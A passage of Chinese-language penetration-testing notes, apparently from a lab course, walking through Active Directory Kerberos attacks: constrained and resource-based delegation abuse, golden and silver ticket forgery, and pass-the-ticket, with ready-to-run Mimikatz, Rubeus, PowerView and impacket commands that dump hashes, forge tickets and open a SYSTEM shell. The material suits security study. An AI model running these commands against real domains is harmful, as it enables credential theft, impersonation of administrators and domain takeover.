为了完成攻击,需要获取 DMZ01$ 机器账号的 NTLM Hash。可以在目标主机上用 Mimikatz 获取。

1
mimikatz.exe privilege::debug sekurlsa::msv exit

得到机器账号 Hash 后,用 Rubeus 代表任意用户(这里是 Administrator)请求访问 WS01 的 HTTP 服务的有效 TGS/ST。

1
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:www/WS01.inlanefreight.local /altservice:HTTP 

从输出可以看出,Rubeus 首先为 DMZ01$ 请求 TGT,然后执行 S4U2Self,以 Administrator 身份获取 TGS/ST,最后执行 S4U2Proxy并把 SPN 更新为请求的 HTTP 服务。

可以用 klist 验证当前会话中的新票据,然后通过 WinRM 访问 WS01.inlanefreight.local

Linux平台

在 Linux 上,可以使用 impacketfindDelegation.py 查找具有委派权限的账号。结果中会显示三类委派:UnconstrainedConstrained、以及 Constrained w/ Protocol Transition

1
findDelegation.py INLANEFREIGHT.LOCAL/carole.rose:jasmine

假设已经攻陷账号 beth.richards,该账号启用了带协议转换的约束委派,且唯一允许委派的服务是 TERMSRV/DC01.INLANEFREIGHT.LOCAL。可以使用 impacketgetST.py 构造一个代表任意用户访问该服务的有效 TGS/ST。

1
getST.py -spn TERMSRV/DC01 'INLANEFREIGHT.LOCAL/beth.richards:B3thR!ch@rd$' -impersonate Administrator

生成的票据会保存为当前目录下的 Administrator.ccache。导出到 KRB5CCNAME 后,可以配合 impacket 工具使用。例如 psexec.py 在 AnySPN 机制下会尝试寻找可用于目标服务账号的兼容票据,并动态修改 SPN。

1
2
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01 -debug

RBCD 概览

基于资源的约束委派(Resource-Based Constrained Delegation, RBCD)从 Windows Server 2012 开始引入。它允许在目标服务上配置委派设置,而不是在用于访问资源的服务账号上配置。

RBCD 依赖安全描述符,而不是 SPN 允许列表。管理员定义哪些安全主体可以为某个用户请求 Kerberos 票据。当服务接收到代表另一个用户授予访问权限的请求时,KDC 会检查运行后端服务的主体对象中 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的安全描述符。

如果后端服务的安全描述符与前端服务匹配,就会授予访问。RBCD 不依赖域功能级别,但要求同一域中至少有一个运行 Windows Server 2012 或更高版本的域控制器。

要攻击 RBCD,需要两个条件:
第一,拥有能够修改某台计算机对象msDS-AllowedToActOnBehalfOfOtherIdentity 属性的用户或组权限,常见权限包括 GenericWrite、GenericAll、WriteProperty、WriteDACL;
第二,控制另一个具有 SPN 的对象。

Windows 攻击

下面的 PowerShell 脚本会枚举域内计算机和用户,检查哪些用户对计算机对象具有所需权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
# import the PowerView module
Import-Module C:\Tools\PowerView.ps1
$computers = Get-DomainComputer
$users = Get-DomainUser
$accessRights = "GenericWrite","GenericAll","WriteProperty","WriteDacl"
foreach ($computer in $computers) {
$acl = Get-ObjectAcl -SamAccountName $computer.SamAccountName -ResolveGUIDs
foreach ($user in $users) {
$hasAccess = $acl | ?{$_.SecurityIdentifier -eq $user.ObjectSID} | %{($_.ActiveDirectoryRights -match ($accessRights -join '|'))}
if ($hasAccess) { Write-Output "$($user.SamAccountName) has the required access rights on $($computer.SamAccountName)" }
}
}

接下来可以为创建的计算机账号请求 TGT,再执行 S4U2Self 获取可转发 TGS/ST,随后执行 S4U2Proxy 获取访问目标计算机上特定 SPN 的有效 TGS/ST。首先需要得到该计算机账号的 NT Hash。

1
Rubeus.exe hash /password:Hackthebox123+! /user:HACKTHEBOX$ /domain:INLANEFREIGHT.LOCAL

有了新建计算机账号的 Hash 后,代表 administrator 请求 cifs/dc01.inlanefreight.local 的 TGS/ST,并使用 /ptt 注入当前会话。

1
Rubeus.exe s4u /user:HACKTHEBOX$ /rc4:CF767C9A9C529361F108AA67BF1B3695 /impersonateuser:administrator /msdsspn:cifs/dc01.inlanefreight.local /ptt

此时用 klist 可以看到当前终端中已有 administrator 到 cifs/dc01.inlanefreight.local 的票据,随后可以访问目标机器的 C$ 共享。

Linux平台

在 Linux 上,同样可以先创建一个计算机账号。impacketaddcomputer.py 可以完成这一步。

1
addcomputer.py -computer-name 'HACKTHEBOX$' -computer-pass Hackthebox123+\! -dc-ip 10.129.205.35 inlanefreight.local/carole.holmes

然后将该账号加入目标计算机的信任列表。因为 carole.holmes 对目标计算机有 GenericAll ACL,可以使用 rbcd.py 修改。

1
rbcd.py -delegate-from 'HACKTHEBOX$' -delegate-to 'DC01$' -dc-ip 10.129.205.35 -action write inlanefreight.local/carole.holmes

接下来通过创建的计算机账号请求 TGT,执行S4U2Self获取可转发 TGS/ST,再执行 S4U2Proxy 获取访问目标计算机特定 SPN 的有效 TGS/ST。getST.py 可以完成整个流程。

1
getST.py -spn cifs/DC01.inlanefreight.local -impersonate Administrator -dc-ip 10.129.205.35 inlanefreight.local/HACKTHEBOX:Hackthebox123+\!

之后把票据路径导出到 KRB5CCNAME 环境变量,即可配合任意支持 Kerberos 缓存的 impacket 工具使用。例如使用 psexec.py 以 SYSTEM 身份获得远程 Shell。

1
2
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass dc01.inlanefreight.local

票据伪造攻击

金票攻击

Golden Ticket 攻击最可怕的一点,是渗透测试人员在取得域控高权限后经常能够拿到用于签发TGT 的关键密钥。通过 Mimikatz 执行 DCSync,或使用 Impacketsecretsdump,通常可以得到 KRBTGT 账户的 NTLM HashKRBTGT 是一个特殊账户,它的密码变更必须执行两次,而且两次之间不能太快。

原因是:KRBTGT 密钥不仅用于保护域内用户的 TGT,也与域控制器之间的认证有关。第一次修改后,整个AD Forest 必须完成复制收敛,确保所有域控制器都同步了新密码;之后才能进行第二次修改。实际环境中,虽然理论上约 10 小时内可完成复制,但组织通常会等待 24 小时以降低风险。如果攻击者在窗口期发现密码变更并再次窃取新 Hash,清除流程就必须重新执行。

理论

在 TGT 请求(AS-REQ)之后,域控制器会把 TGT 返回给用户。TGT 是一段包含用户身份与权限信息的数据,这些信息被封装在 PAC(Privilege Attribute Certificate,权限属性证书)中。

PAC 会被复制到每一个 TGS/服务票据中,使服务账户能够知道当前请求者是谁、属于哪些组、拥有哪些权限。因此,PAC 必须受到严格保护,防止用户任意修改自己的组成员关系或权限。

域控制器使用 krbtgt 账户的密钥加密 TGT。因此,如果要修改或伪造 TGT,就必须知道 krbtgt 账户的密码或 Hash。任何 AD 环境中,krbtgt 都是最敏感、最关键的账户之一,因为它决定了用户的身份票据是否可信。
如果攻击者窃取了 krbtgt 的秘密,就可以解密并重新签发任意 TGT,也就可以伪装成任意用户,甚至可以选择一个不在 Domain Admins 或 Enterprise Admins 等高监控组中的敏感账户,以降低被发现的概率。

攻击

Windows平台

伪造 Golden Ticket 需要以下元素:

  1. Domain Name:域名
  2. Domain SID:域 SID
  3. Username to Impersonate:要伪装的用户名
  4. KRBTGT’s hash:KRBTGT 的 Hash
    域名通常已知。可以使用 PowerView 的 Get-DomainSID 获取域 SID:
1
2
Import-Module .\PowerView.ps1
Get-DomainSID

接下来需要获得 krbtgt 账户的 NTLM Hash。如果已拿到具备 DCSync 权限的账户,可以用 Mimikatz 执行:

1
mimikatz.exe

拿到域名、SID、伪装用户名和 krbtgt Hash 后,就可以使用 Mimikatz 生成并注入金票。常见参数包括 /domain/sid/rc4/user/id/groups/ptt/ptt 表示 Pass-the-Ticket,即将票据直接注入当前会话。

1
mimikatz # kerberos::golden /domain:inlanefreight.local /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:810d754e118439bab1e1d13216150299 /user:Administrator /id:500 /ptt

生成并提交到当前会话后,可以用 klist 查看缓存票据。Golden Ticket 通常会拥有异常长的有效期,例如 Mimikatz 默认可生成 10 年有效期的票据。

Linux平台

在 Linux 上也可以完成类似操作。首先可用 lookupsid.py 获取域 SID:

1
lookupsid.py inlanefreight.local/[email protected] -domain-sids

拿到 krbtgt Hash、域名、SID 等信息后,可以使用 ticketer.py 创建 ccache 格式的 Golden Ticket:

1
ticketer.py -nthash 810d754e118439bab1e1d13216150299 -domain-sid S-1-5-21-2974783224-3764228556-2640795941 -domain inlanefreight.local Administrator

生成 Administrator.ccache 后,通过 KRB5CCNAME 指定票据缓存,再使用支持 Kerberos 的 Impacket 工具,并配合-k -no-pass 使用该票据。

1
2
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass dc01.inlanefreight.local

银票攻击

每个机器账户都有一个 NTLM Hash,它代表计算机账户(通常形式为 COMPUTERNAME$)的秘密。这个 Hash 相当于域与工作站之间的预共享密钥,用于保护 TGS/服务票据。

Silver Ticket 与 Golden Ticket 的核心区别是:Golden Ticket 伪造 TGT,依赖 krbtgt 密钥;Silver Ticket 伪造某个服务的 TGS,依赖目标服务账户或机器账户的密钥。因此,银票的权限范围通常小于金票,只能访问指定机器上的指定服务。

Silver Ticket 的隐蔽性更好,因为使用伪造 TGS 访问目标服务时,不需要向域控制器请求 TGS。相关日志更多出现在目标主机上,而不是域控上。

window平台

伪造 Silver Ticket 通常需要:

  1. 域 SID
  2. 目标服务的 SPN 或服务类型,例如 cifs、http、mssql 等
  3. 目标机器或服务账户的 NTLM Hash
  4. 要伪装的用户名与组信息

先获取域 SID

1
2
Import-Module .\PowerView.ps1
Get-DomainSID

1
kerberos::golden /domain:inlanefreight.local /sid:S-1-5-21-2974783224-3764228556-2640795941 /target:sql01.inlanefreight.local /service:cifs /rc4:<NTLM_HASH> /user:Administrator /ptt

注入票据后,可以尝试访问目标主机的共享:

1
ls \\sql01.inlanefreight.local\c$

Linux平台

Linux 下可以使用 ticketer.py 生成针对指定 SPN 的 Silver Ticket。示例中常见的服务类型为 cifs。

1
2
3
ticketer.py -nthash <NTLM_HASH> -domain-sid S-1-5-21-2974783224-3764228556-2640795941 -domain inlanefreight.local -spn cifs/sql01.inlanefreight.local Administrator
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass sql01.inlanefreight.local

银票更适合针对已知主机和服务进行访问。例如,如果已拿到 sql01$ 机器账户 Hash,就可以伪造访问 sql01 上 CIFS 服务的 TGS。

PTT攻击

Pass-the-Ticket 是指窃取或导入 Kerberos 票据,并把它传递给另一个会话使用。攻击者可以使用用户的 TGT 或 TGS/服务票据完成横向移动,而无需知道明文密码或 NTLM Hash。

TGT 是已签名的身份票据,包含用户权限信息。它可提交给域控制器来申请 TGS;TGS 则可直接用于访问某个服务。窃取任一类型的票据,都可能帮助攻击者访问对应资源。